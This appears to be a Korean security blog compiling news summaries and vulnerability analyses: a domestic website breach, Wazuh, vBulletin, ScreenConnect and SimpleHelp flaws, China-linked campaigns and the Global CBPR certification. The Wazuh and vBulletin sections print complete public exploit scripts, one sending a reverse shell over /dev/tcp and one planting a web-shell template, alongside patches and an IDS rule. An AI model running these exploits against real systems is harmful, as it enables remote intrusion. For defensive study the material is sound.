요약 - 교육, 의료, 쇼핑, 언론, 금융 등 국내 사이트 30여 곳 해킹 피해 확인
- 사용자 개인정보와 내부 DB가 대거 유출되었으며, 피해 규모는 총 11만건 이상의 민감정보로 추정
내용 - 오아시스 시큐리티, 최소 30개 이상의 국내 사이트에서 정보 유출 및 시스템 권한 탈취가 발생
> 공격자가 국내 약 100여 개 웹사이트를 대상으로 침투 시도를 진행했으며, 최소 30개 이상의 사이트에서 피해 발생
> 공격 대상은 온라인 쇼핑몰, 채용 포털, 교육 기관, 의료 서비스, 보험 비교 플랫폼, 언론사 등 매우 광범위
> 피해 사이트 중 일부는 국비 지원 교육기관, 어린이집 연합회 등 일상생활과 밀접한 정보들이 다수 포함
> 범용 해킹 도구뿐 아니라 각 웹사이트 특성을 분석해 제작한 맞춤형 악성코드가 활용
> 고도로 정밀하게 준비된 국내 표적 공격으로, 웹사이트 구조와 보안 취약점을 정밀하게 파악하고 있던 것으로 추정

> 피해 규모
⒜ 국비지원 교육 정보 사이트 : 약 4만 7천여 건의 개인정보
⒝ 명품 쇼핑 플랫폼 : 약 3만 8천여 건의 개인정보
⒞ 구인구직 플랫폼 및 학원 : 수천~수만 건의 정보 유출
※ 현재까지 확인된 개인정보는 11만건 이상으로, 2차 범죄로 악용될 가능성이 높음
※ 공격 발생 직후 즉각 유관기관에 관련 사실 전달 및 후속 조치를 요
기타 - 중소 규모의 웹사이트 또한 고도화된 표적 공격의 대상이 되고 있음을 강조
> 중소 사이트 운영자들도 주기적 보안점검과 암호화 적용, DB 접근제어 등을 반드시 이행할 것을 권고
> 유출된 개인정보가 사기, 피싱, 스팸 발송 등에 활용될 수 있어 2차 피해 가능성에 대한 모니터링도 중요

 

보안뉴스

 

[단독] 국내 사이트 30여 곳 해킹 피해 확인…11만건 이상 개인정보 유출 - 데일리시큐

국내 30여 개 웹사이트가 해킹 공격을 받아 사용자 개인정보와 내부 데이터베이스(DB)가 대거 유출된 사실이 확인됐다. 피해 규모는 총 11만건 이상의 실명, 연락처, 주소, 생년월일, 패스워드 등

www.dailysecu.com

1. Wazuh

- XDR과 SIEM 기능을 통합한 무료 오픈 소스 보안 플랫폼 [1][2]
- Wazuh Server, Wazuh Agent, Elasticsearch, Kibana로 구성

2. 취약점

[사진 1] CVE-2025-24016 [3]

- Wazuh Server가 DistributedAPI 매개변수를 적절히 역직렬화하지 못해 발생하는 원격 코드 실행 취약점 (CVSS: 9.9)

> 해당 취약점을 노린 Mirai 기반 봇넷 공격이 확인되며, 전 세계적으로 DDoS 공격이 확산되고 있음

영향받는 버전
- Wazuh Server 4.4.0 이상 ~ 4.9.0 이하

 

- Wazuh Server는 JSON으로 직렬화된 DistributedAPI 매개변수as_wazuh_object()를 호출해 역직렬화 (Line 30) [4]

1 class APIRequestQueue(WazuhRequestQueue):
2     """
3     Represents a queue of API requests. This thread will be always in background, it will remain blocked until a
4     request is pushed into its request_queue. Then, it will answer the request and get blocked again.
5     """
6 
7     def __init__(self, server):
8         super().__init__(server)
9         self.logger = logging.getLogger('wazuh').getChild('dapi')
10         self.logger.addFilter(wazuh.core.cluster.utils.ClusterFilter(tag='Cluster', subtag='D API'))
11 
12     async def run(self):
13         while True:
14             names, request = (await self.request_queue.get()).split(' ', 1)
15             names = names.split('*', 1)
16             # name    -> node name the request must be sent to. None if called from a worker node.
17             # id      -> id of the request.
18             # request -> JSON containing request's necessary information
19             name_2 = '' if len(names) == 1 else names[1] + ' '
20 
21             # Get reference to MasterHandler or WorkerHandler
22             try:
23                 node = self.server.client if names[0] == 'master' else self.server.clients[names[0]]
24             except KeyError as e:
25                 self.logger.error(
26                     f"Error in DAPI request. The destination node is not connected or does not exist: {e}.")
27                 continue
28 
29             try:
30                 request = json.loads(request, object_hook=c_common.as_wazuh_object)
31                 self.logger.info("Receiving request: {} from {}".format(
32                     request['f'].__name__, names[0] if not name_2 else '{} ({})'.format(names[0], names[1])))
33                 result = await DistributedAPI(**request,
34                                               logger=self.logger,
35                                               node=node).distribute_function()
36                 task_id = await node.send_string(json.dumps(result, cls=c_common.WazuhJSONEncoder).encode())
37             except Exception as e:
38                 self.logger.error(f"Error in distributed API: {e}", exc_info=True)
39                 task_id = b'Error in distributed API: ' + str(e).encode()
40 
41             if task_id.startswith(b'Error'):
42                 self.logger.error(task_id.decode(), exc_info=False)
43                 result = await node.send_request(b'dapi_err', name_2.encode() + task_id)
44             else:
45                 result = await node.send_request(b'dapi_res', name_2.encode() + task_id)
46             if not isinstance(result, WazuhException):
47                 if result.startswith(b'Error'):
48                     self.logger.error(result.decode(), exc_info=False)
49             else:
50                 self.logger.error(result.message, exc_info=False)

 

- as_wazuh_object()는 JSON 내부에 "__unhandled_exc__" 값이 있을 경우 "__class__" 및 "__args__" 값을 사용해 eval()로 호출 (Line28 ~ 30) [5]

> 그러나 사용자 입력에 대한 적절한 검증 없이 eval()를 호출하여 임의 코드 실행이 가능

1 def as_wazuh_object(dct: Dict):
2     try:
3         if '__callable__' in dct:
4             encoded_callable = dct['__callable__']
5             funcname = encoded_callable['__name__']
6             if '__wazuh__' in encoded_callable:
7                 # Encoded Wazuh instance method.
8                 wazuh = Wazuh()
9                 return getattr(wazuh, funcname)
10             else:
11                 # Encoded function or static method.
12                 qualname = encoded_callable['__qualname__'].split('.')
13                 classname = qualname[0] if len(qualname) > 1 else None
14                 module_path = encoded_callable['__module__']
15                 module = import_module(module_path)
16                 if classname is None:
17                     return getattr(module, funcname)
18                 else:
19                     return getattr(getattr(module, classname), funcname)
20         elif '__wazuh_exception__' in dct:
21             wazuh_exception = dct['__wazuh_exception__']
22             return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
23         elif '__wazuh_result__' in dct:
24             wazuh_result = dct['__wazuh_result__']
25             return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
26         elif '__wazuh_datetime__' in dct:
27             return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
28         elif '__unhandled_exc__' in dct:
29             exc_data = dct['__unhandled_exc__']
30             return eval(exc_data['__class__'])(*exc_data['__args__'])
31         return dct

3. PoC

- ~/security/user/authenticate/run_as URL 및 악성 JSON 페이로드를 포함 [6]

import argparse
import logging
import requests
from requests.auth import HTTPBasicAuth
import pyfiglet
import os
import time
import ipaddress
from packaging import version
import sys
import urllib3

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

def color_print(text, color=None):
    if color == 'error':
        return f"\033[1;31m{text}\033[0m"
    elif color == 'warning':
        return f"\033[1;33m{text}\033[0m"
    elif color == 'success':
        return f"\033[1;32m{text}\033[0m"
    elif color == 'info':
        return f"\033[1;36m{text}\033[0m"
    else:
        return text

def version_check():
    try:
        req_version = version.parse(requests.__version__)
        pyfiglet_version = version.parse(pyfiglet.__version__)
        logger.info(
            "Wazuh Current version:\n"
            f"Requests: {req_version}\n"
            f"PyFiglet: {pyfiglet_version}\n"
        )
    except Exception as e:
        logger.error("Pengecekan versi gagal karena %s", str(e))

def parse_args():
    parser = argparse.ArgumentParser(
        description="Wazuh RCE Exploit POC",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )

    # Required
    required = parser.add_argument_group("Required")
    required.add_argument(
        "-u", "--url", required=True,
        help="URL target (ex: https://<worker-server>:55000/security/user/authenticate/run_as)"
    )
    required.add_argument(
        "-i", "--ip", required=True,
        help="LHOST for reverse shell connection"
    )
    required.add_argument(
        "-p", "--port", required=True, type=int,
        help="LPORT for reverse shell connection"
    )

    # Auth
    auth = parser.add_argument_group("Opsi Auth")
    auth.add_argument(
        "-user", "--username", default="wazuh-wui",
        help="Username for auth"
    )
    auth.add_argument(
        "-pass", "--password", default="MyS3cr37P450r.*-",
        help="Password for auth"
    )

    # Opsi tambahan
    optional = parser.add_argument_group("Opsi Tambahan")
    optional.add_argument(
        "-c", "--config-file", type=str,
        help="Path to configuration file"
    )
    optional.add_argument(
        "-n", "--no-color", action="store_true",
        help="Nonaktifkan output warna"
    )
    optional.add_argument(
        "--version", action="version",
        version="1.0",
        help="Show program version"
    )

    return parser.parse_args()
def check_ip(ip):
    try:
        ipaddress.ip_address(ip)
        return True
    except ValueError:
        logger.error("IP tidak valid: %s", ip)
        return False

def check_port(port):
    try:
        port_int = int(port)
        if 0 < port_int <= 65535:
            return True
        logger.error("Invalid Port: %s", port)
        return False
    except ValueError:
        logger.error("Port tidak merupakan angka: %s", port)
        return False

def check_url(url):
    if not url.startswith("http"):
        logger.error("Invalid URL, make sure the URL starts with http:// atau https://")
        return False
    return True

def main():
    args = parse_args()
    
    def local_color_print(text, color=None):
        if args.no_color:
            return text
        return color_print(text, color)
    
    if not check_ip(args.ip) or not check_port(args.port) or not check_url(args.url):
        logger.error("Invalid IP/Port/URL")
        sys.exit(1)
    
    version_check()
    
    ascii_motd = pyfiglet.figlet_format("Wazuh RCE")
    custom_header = (
        "\n" + 
        "---------------------------------------------------\n"
        "           Custom Wazuh RCE Header\n"
        "---------------------------------------------------\n"
    )
    
    print(ascii_motd)
    if args.config_file:
        print(custom_header)
    else:
        print("Wazuh Server RCE - CVE-2025-24016")
        print("Research & Testing Purposes Only!")
        print("Unauthorized use is strictly prohibited.")
        print("By: Jessie at Pelindo Cyber Security Team")
        print("Credits: Aiman, Cahyo, Ihsan & the Arch \n")
    
    # Payload
    payload = {
        "__unhandled_exc__": {
            "__class__": "os.system",
            "__args__": [
                f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
            ]
        }
    }
    
    headers = {
        "Content-Type": "application/json",
        "X-Header-Name": "Custom-Header"
    }
    
    # Auth 
    username = args.username
    password = args.password
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    try:
        response = requests.post(
            args.url,
            json=payload,
            headers=headers,
            auth=HTTPBasicAuth(username, password),
            verify=False,
            timeout=10
        )
        
        if response.status_code != 200:
            logger.error("Kode status respons: %d", response.status_code)
            if "Unauthorized" in str(response.text):
                logger.error("Failed Authentication")
            else:
                logger.error("Respons abnormal: %s", response.text)
            sys.exit(1)
            
        print(color_print("Sucess Authentication!", "success"))
        print("Respons:", color_print(response.text, "info"))
        
    except requests.exceptions.RequestException as e:
        error_type = type(e).__name__
        logger.error("%s: %s", error_type, str(e))
        sys.exit(1)
    
    # Opsi shell
    reverse_shell_options = {
        "command": "bash -i",
        "reverse_port": args.port,
        "timeout": 5,
        "retry_count": 3
    }
    
    logger.info("Established connection reverse shell to %s:%d", args.ip, int(args.port))
    time.sleep(reverse_shell_options["timeout"])
    
    try:
        s = os.system(reverse_shell_options["command"])
        if s != 0:
            logger.error("Reverse shell failed: %s", str(s))
    finally:
        if 's' in locals():
            del s
    
    print(color_print("Reverse shell success!", "success"))

if __name__ == "__main__":
    main()

4. 대응방안

- 벤더사 제공 업데이트 적용 [7][8][9]

> eval()를 ast.literal_eval()로 변경 (제한된 타입-strings, bytes, numbers, tuples, lists, dicts, sets, booleans, None and Ellipsis-만 처리) [10][11]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-24016 Wazuh Server 4.4.0 이상 ~ 4.9.0 이하 4.9.1 이상

 

- 탐지룰 적용 [12]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Wazuh Server Serialized Unhandled Exception Payload (CVE-2025-24016)"; flow:established,to_server; content:"POST"; http_method; content:"/"; http_uri; depth:1; pcre:"/^(?:security|agents|events|groups)\x2f/Ri"; content:"Content-Type|3a 20|application/json"; http_header; content:"|22|__unhandled_exc__|22 3a|"; http_client_body; fast_pattern; content:"|22|__class__|22 3a|"; http_client_body; content:"|22|__args__|22 3a|"; http_client_body; reference:url,github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh; reference:cve,2025-24016; classtype:web-application-attack; sid:2060945; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_03_18, cve CVE_2025_24016, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_18, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

5. 참고

[1] https://wazuh.com/
[2] https://documentation.wazuh.com/current/getting-started/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-24016
[4] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/dapi/dapi.py#L660
[5] https://github.com/wazuh/wazuh/blob/2477e9fa50bc1424e834ac8401ce2450a5978e75/framework/wazuh/core/cluster/common.py#L1561
[6] https://github.com/0xjessie21/CVE-2025-24016
[7] https://documentation.wazuh.com/current/release-notes/release-4-9-1.html
[8] https://documentation.wazuh.com/current/upgrade-guide/upgrading-central-components.html
[9] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71769&menuNo=205020
[10] https://github.com/wazuh/wazuh/blob/3aadee6d1f3115961036c68b11ca056665e23bc0/framework/wazuh/core/cluster/common.py#L1799
[11] https://docs.python.org/3/library/ast.html#ast.literal_eval
[12] https://asec.ahnlab.com/ko/87024/
[13] https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh
[14] https://www.dailysecu.com/news/articleView.html?idxno=166820
[15] https://hackyboiz.github.io/2025/02/22/empty/CVE-2025-24016/

요약 - 25.06.02부터 글로벌 국경 간 프라이버시 규칙(CBPR, Cross Border Privacy Rules) 시행
- CBPR은 회원국 간 전자상거래를 활성화하고 안전한 개인정보 이전을 촉진하기 위해 마련된 제도
내용 - 글로벌 국경 간 프라이버시 규칙(Global CBPR, Global Cross Border Privacy Rules)
> 회원국 간 전자상거래를 활성화하고 국경 간 안전한 개인정보 이전을 촉진하기 위한 제도
> 개인정보 관리체계 등에 대한 심사를 거쳐 일정한 개인정보 보호 수준을 갖춘 기업은 인증을 받을 수 있음
※ 인증을 받은 기업은 해외 사업 시 대외 신뢰도 향상 등의 효과를 얻을 수 있음
※ 일본, 싱가포르 등 Global CBPR을 국외이전 수단으로 채택한 국가로부터 원활하게 개인정보를 이전받을 수 있

> 지난 2011년 아시아-태평양 지역 9개 국가가 참여하는 APEC CBPR로 시작
> 이후 영향력을 전 세계로 넓히기 위해 대한민국, 미국, 일본 등의 주도로 2022년 글로벌 협의체 출범
> 3년 간의 논의를 거친 결과 글로벌 인증(Global CBPR)을 개시
> 현재 4개 국가(영국, 두바이, 모리셔스, 버뮤다)가 추가로 참여하고 있으며, 다수의 국가가 참여 의사 표명
※ 아시아-태평양 지역 9개국 : 대한민국, 미국, 일본, 캐나다, 멕시코, 호주, 싱가포르, 필리핀, 대만
※ 나라별 제도 운용 방식은 다를 수 있음

- 우리나라의 경우 개인정보보호위원회가 전체적인 정책을 총괄하고, KISA는 실제 인증 심사를 진
기타 -

 

보안뉴스

 

CBPR 홈페이지

APEC 프라이버시 보호 원칙을 기반으로 기업의 개인정보 보호 체계를 평가하여 인증하는 글로벌 인증제도로, APEC 회원국 간 자유롭고 안전한 개인정보 이전을 지원하기 위해 APEC 회원국이 공동으

cbpr.kisa.or.kr

 

개인정보보호위원회

해당 페이지의 만족도와 소중한 의견 남겨주세요.

www.pipc.go.kr

 

글로벌 CBPR 인증 시행...“국가간 안전한 개인정보 이전”

개인정보보호위원회와 한국인터넷진흥원(KISA)은 2일부터 ‘글로벌 국경 간 프라이버시 규칙(CBPR)’ 인증을 공식 시행한다고 1일 밝혔다.

www.boannews.com

 

개인정보 국외 이전 쉽게…글로벌 CBPR 인증심사 개시 - 머니투데이

개인정보보호위원회·한국인터넷진흥원(KISA)이 오는 2일 '글로벌 국경 간 프라이버시 규칙(CBPR)' 인증심사를 시행한다고 1일 밝혔다. 글로벌 CBPR은 회원국 간 전자상거래를 활성화하고 안전한 국

news.mt.co.kr

 

글로벌 국경 간 프라이버시 규칙(Global CBPR) 인증 개시 - 국토일보

아태 인증→글로벌 인증으로… 국내 12개 기업 자동 인증 부여인증 기업, 해외사업 시 대외 신뢰도 향상 등 ‘효과’[국토일보 하종숙 기자] 국내기업의 해외사업 추진시 안전한 개인정보 이전

www.ikld.kr

 

요약 - SentinelOne, 전 세계 70여 개 조직이 중국 연계 해킹 조직의 표적이 됐다고 발표
- 사이버보안 기업도 주요 타깃으로, 업계 전반 위협 심각
내용 - SentinelLabs (SentinelOne 산하 위협분석 조직)
> 전 세계 70여 개 조직이 중국 연계 해킹 조직의 표적이 됐다고 발표
> 24.06 ~ 25.03까지 두 차례에 걸쳐 공격이 발생

퍼플헤이즈(PurpleHaze) 캠페인
> APT15와 UNC5174로 추정되는 해킹 조직이 주도
> 24.10 SentinelOne의 인터넷에 노출된 서버를 대상으로 443 포트를 스캔하며 정찰
> entinelxdr[.]us, secmailbox[.]us와 같은 위장 도메인을 등록해 센티넬원 인프라로 위장
> Ivanti 장비의 제로데이 취약점을 통해 GOREshell 백도어를 심는 방식이 활용

섀도우패드(ShadowPad) 캠페인
> 중국 국적의 APT41이 주도
> 24.06 ~ 25.03까지 진행
> 센티넬원의 하드웨어 유통을 맡고 있는 IT 서비스·물류 기업을 타깃으로 삼아 공급망 침투 시도
> PowerShell 스크립트를 통해 ShadowPad 악성코드를 배포 (샌드박스 탐지 우회를 위해 60초 지연 실행과 30분 후 자동 재부팅 명령이 포함)
> 오픈소스 원격 액세스 도구 Nimbo-C2를 활용해 화면 캡처, PowerShell 명령 실행, 파일 작업, UAC 우회 등 다양한 기능을 수행할 수 있도록 구성
> 민감한 사용자 문서를 찾고, 이를 7-Zip 암호 압축 파일로 만든 뒤 외부로 유출하는 PowerShell 기반 데이터 탈취 스크립트도 함께 활용

- 공격자가 보안기업 Check Point 게이트웨이 장비의 취약점을 통해 최초 접근에 성공했을 가능성이 높다고 분석
> Fortinet Fortigate, Microsoft IIS, SonicWall, CrushFTP 등 다양한 시스템에서도 ShadowPad C2 서버로의 통신이 확인 (해당 장비 또한 악용됐을 가능성 존재)

- 시사점
> 보안 기업 또한 공격 대상으로 삼고 있음
> 공급망을 통한 우회 침투와 보안 기업 탐지 기술 분석을 통한 회피 전략 마련 등 다층적 목표를 가진 위협 행위
기타 - 중국의 정교한 사이버 첩보 전략이 지속되고 있다는 증거
> 오랜 시간에 걸친 사전 정찰, 엣지 장비 침투, 맞춤형 악성코드 배포 등은 전형적인 국가 지원형 공격의 특징

- 단순 방어보다 공급망 리스크 사전 통제, 다층적 탐지 및 대응 체계를 갖추는 것이 필수
> IOC 공유와 실시간 위협 정보 교환, 정기적 시나리오 기반 대응 훈련 필요
> 국가 차원에서는 보안 수준 미비 벤더에 대한 감사와 국제적 제재 등 정책적 조치도 함께 마련되어야 함

 

보안뉴스

 

중국 해커 그룹, 글로벌 보안기업 포함 전 세계 70개 조직 사이버공격 시도...한국 보안기업들도

사이버보안 기업 센티넬원(SentinelOne)이 자사를 포함해 전 세계 70여 개 조직이 중국 연계 해킹 조직의 표적이 됐다고 6월 9일 공개했다. 이번 공격은 광범위한 사이버 첩보 작전의 일환으로, 보안

www.dailysecu.com

 

Follow the Smoke | China-nexus Threat Actors Hammer At the Doors of Top Tier Targets

This report uncovers a set of related threat clusters linked to PurpleHaze and ShadowPad operators targeting organizations, including cybersecurity vendors.

www.sentinelone.com

 

1. CVE-2025-48827

[사진 1] CVE-2025-48827 [1]

- PHP 8.1의 Reflection API 변화로 보호된 내부 API 메서드를 호출하여 원격 코드 실행이 가능한 인증 우회 취약점 (CVSS: 10.0)

 

- PHP ≤ 8.0 및 PHP ≥ 8.1 비교 [2]

> Reflection API의 동작 변화를 반영하지 않은 경우, 기존 접근 제어 우회 및 보호 메서드에 접근이 가능해짐

구분 설명
PHP ≤ 8.0 - Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우
> 기본적으로 protected 또는 private 멤버에 접근 불가
> setAccessible(true)명시적으로 사용해야  protected 또는 private 멤버에 접근 가능
PHP ≥ 8.1 - Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우
> setAccessible(true)명시적으로 사용하지 않아도 protected 또는 private 멤버에 접근 가능하도록 변경
> 코드 흐름 개선 및 개발 편의성 등으로 변경된 것으로 판단됨

 

[사진 2] PHP 버전 별 protected 메소드 접근 결과 비교 [3]

2. CVE-2025-48828

[사진 3] CVE-2025-48828 [4]

- 조작된 탬플릿 조건문을 통해 vBulletin 템플릿 엔진의 필터링을 우회하여 임의의 PHP 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.0)

 

- vBulletin의 템플릿 조건문(<vb:if>)을 악용해 임의의 PHP 코드를 실행

> vBulletin의 템플릿 엔진은 <vb:if> 태그와 같은 조건문을 처리할 때, 내부적으로 eval() 함수를 사용하여 PHP 코드로 변환하고 실행

> vBulletin은 정규 표현식을 사용해 템플릿 파서에 안전하지 않은 함수의 실행을 막기위한 보안 검사를 실행

> PHP의 가변 함수 호출을 이용해 보안 검사를 우회하여 원격 코드 실행이 가능

- PHP 가변 함수 호출
> 변수를 사용해서 함수를 호출하는 것
[사진 3] PHP 가변 함수 호출

3. PoC

- replaceAdTemplate() 메서드template 매개변수 악용 [5][6]

> replaceAdTemplate() 메서드를 인증 없이 원격에서 호출 (CVE-2025-48827 악용)

> replaceAdTemplate() 메서드의 $template 매개변수에 PHP 공격 코드 삽입

※ replaceAdTemplate()는 "ad_$location" 이름으로 템플릿을 시스템에 저장

> 악성 템플릿 "ad_$location"(PoC에서는 ad_rec)를 통해 원격 명령 실

<?php

/*
    -----------------------------------------------------------------
    vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability
    -----------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Technical Writeup:

    https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
*/

set_time_limit(0);
error_reporting(E_ERROR);

print "\n+---------------------------------------------------------------------+";
print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");

if ($argc != 2)
{
	print "\nUsage......: php $argv[0] <URL>\n";
	print "\nExample....: php $argv[0] http://localhost/vb/";
	print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
	die();
}

$params = [
		"routestring" => "ajax/api/ad/replaceAdTemplate",
		"styleid" => "1",
		"location" => "rce",
		"template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>"
];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n");

$params = ["routestring" => "ajax/render/ad_rce"];

while (1)
{
	print "\nvBulletin-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$params["cmd"] = $cmd;
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
	preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}

 

[사진 4] PoC

4. 대응방안

- 벤더사 제공 최신 업데이트 적용 [7]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-48827
CVE-2025-48828
vBulletin vBulletin 버전 5.0.0~6.0.3 vBulletin 6.0.3 패치 레벨 1
vBulletin 6.0.2 패치 레벨 1
vBulletin 6.0.1 패치 레벨 1
vBulletin 5.7.5 패치 레벨 3

※ 두 취약점 모두 PHP 8.1 이상에서 실행될 때 영향 받음

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-48827
[2] https://wiki.php.net/rfc/make-reflection-setaccessible-no-op
[3] https://3v4l.org/IODNa
[4] https://nvd.nist.gov/vuln/detail/CVE-2025-48828
[5] https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
[6] https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
[7] https://threatprotect.qualys.com/2025/05/28/vbulletin-remote-code-execution-vulnerabilities-exploited-in-the-wild-cve-2025-48827-cve-2025-48828/?utm_source=chatgpt.com
[8] https://cyberone-mir.notion.site/vBulletin-CVE-2025-48827-CVE-2025-48828-20324d000c1080fdb3fae7cbd86e9fdb
[9] https://www.bleepingcomputer.com/news/security/hackers-are-exploiting-critical-flaw-in-vbulletin-forum-software

1. ConnectWise ScreenConnect

- 원격 지원 및 액세스 소프트웨어 [1]

2. CVE-2025-3935

[사진 1] CVE-2025-3935 [2]

- 공격자가 시스템 수준 권한을 가진 상태에서 서버의 Machine Key를 탈취해 원격 코드 실행을 가능하게 하는 역직렬화 취약점

> ConnectWise는 ScreenConnect의 클라우드 버전에서 국가 배후 해커가 취약점을 악용해 공격 받은 사실을 공개 [4]

 

- 해당 취약점은 ASP.NET의 ViewState 처리 과정에서 역직렬화(Deserialization)가 안전하지 않게 구현된 데서 비롯됨

- ViewState
> ASP.NET Web Forms에서 페이지의 상태(state)를 클라이언트에 저장하기 위한 메커니즘
> ASP.NET Web Forms에서 페이지 상태 유지를 위해 사용되는 직렬화된 데이터
> 사용자가 어떤 값을 입력하거나, 페이지에서 변경한 상태를 Postback 시에도 유지하기 위해 사용
> Base64로 인코딩되어 <input type="hidden"> 필드에 포함되어 전송

 

> web.config 파일에 ViewState의 무결성과 보안을 위해 다음 두 가지 키가 저장 [5]

Machine Key 설명
Validation Key ViewState 데이터의 변조 여부를 확인하는 데 사용되는 키 값
Decryption Key ViewState 데이터를 암/복호화하는데 사용되는 키 값

 

[사진 2] Machine Key

- 공격자가 조작된 요청으로 탈취한 Machine Key 또는 공개된(≒노출된) Machine Key를 사용해 악성 ViewState를 생성 및 전송 [6]

> 이로 인해 서버에서 원격 코드 실행이 발생할 수 있음

※ MS는 노출된 Machine Key를 악용한 공격체인과 관련된 게시글 공개 [7]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7]

> ViewState 기능 비활성 및 해당 기능에 대한 의존성 제거

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-3935 ScreenConnect ~ 25.2.3 25.2.4

 

- Machine Key 노출 여부 확인

> MS는 공개된 Machine Key의 해시 목록을 GitHub에 게시 [9]

> 노출된 키를 사용하는 경우 새로운 키로 교체 및 안전한 키 생성 주기 관리 필요

 

- 공개된 도구를 통한 테스트 진행 [10][11][12]

4. 참고

[1] https://www.screenconnect.com
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-3935
[3] https://www.connectwise.com/company/trust/advisories
[4] https://www.connectwise.com/company/trust/advisories
[5] https://attackerkb.com/topics/o59vR5d8MG/cve-2025-3935
[6] https://www.cybersecuritydive.com/news/microsoft-warns-3k-exposed-aspnet-machine-keys-at-risk-of-weaponization/739551/?utm_source=chatgpt.com
[7] https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys
[8] https://www.connectwise.com/company/trust/security-bulletins/screenconnect-security-patch-2025.4
[9] https://github.com/microsoft/mstic/blob/master/RapidReleaseTI/MachineKeyScan.ps1
[10] https://github.com/isclayton/viewstalker
[11] https://github.com/pwntester/ysoserial.net
[12] https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
[13] https://thehackernews.com/2025/05/connectwise-hit-by-cyberattack-nation.html
[14] https://www.dailysecu.com/news/articleView.html?idxno=166598

1. 개요

- DragonForce Ransomware 조직이 매니지드 서비스 제공업체(MSP)를 침해하고 SimpleHelp 도구를 악용해 고객 시스템에 암호화기 배포 및 데이터 탈취 [1]

> 매니지드 서비스 제공업체(MSP, Managed Service Provider) : 기업의 IT 인프라 또는 특정 서비스(클라우드, 보안, 애플리케이션 등)를 대신 관리해주는 기업

> 심플헬프(SimpleHelp) : 원격 모니터링 및 관리(RMM, Remote Monitoring and Management) 도구

2. 취약점

2.1 CVE-2024-57727

[사진 1] CVE-2024-57727 [2]

- 인증되지 않은 원격의 공격자가 조작된 HTTP 요청을 통해 임의의 파일을 다운로드할 수 있는 다중 경로 탐색 취약점 [3]

> /toolbox-resource endpoint에 경로 탐색 취약점이 존재

> 공격자는 관리자 및 기타 로컬 기술자 계정에 대한 해시된 비밀번호가 포함된 serverconfig.xml 파일에 주로 접근

 

2.2 CVE-2024-57728

[사진 2] CVE-2024-57728 [4]

- 조작된 ZIP 파일을 업로드하여 임의의 파일을 업로드할 수 있는 취약점 [5]

> CVE-2024-57727를 익스플로잇하여 탈취한 자격 증명을 사용해 조작된 ZIP 파일(ZIP Slip)을 업로드

> ZipUtils 클래스의 extractZip 함수는 파일 내용을 쓰기 전 파일 경로를 확인하지 않아 취약점이 발생

> 원격 명령 실행을 위해 Linux 서버의 경우 crontab 파일을 업로드하며, Windows 서버의 경우 실행 파일이나 라이브러리를 덮어 씀

 

2.3 CVE-2024-57726

[사진 3] CVE-2024-57726 [6]

- 낮은 권한의 사용자가 과도한 권한을 가진 API 키를 생성할 수 있는 권한 상승 취약점 (CVSS: 9.9)

> 일부 관리자 기능에 백엔드 권한 확인이 누락되어 공격자가 자신의 권한을 관리자 권한으로 상승시킬 수 있는 경로가 존재

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7]

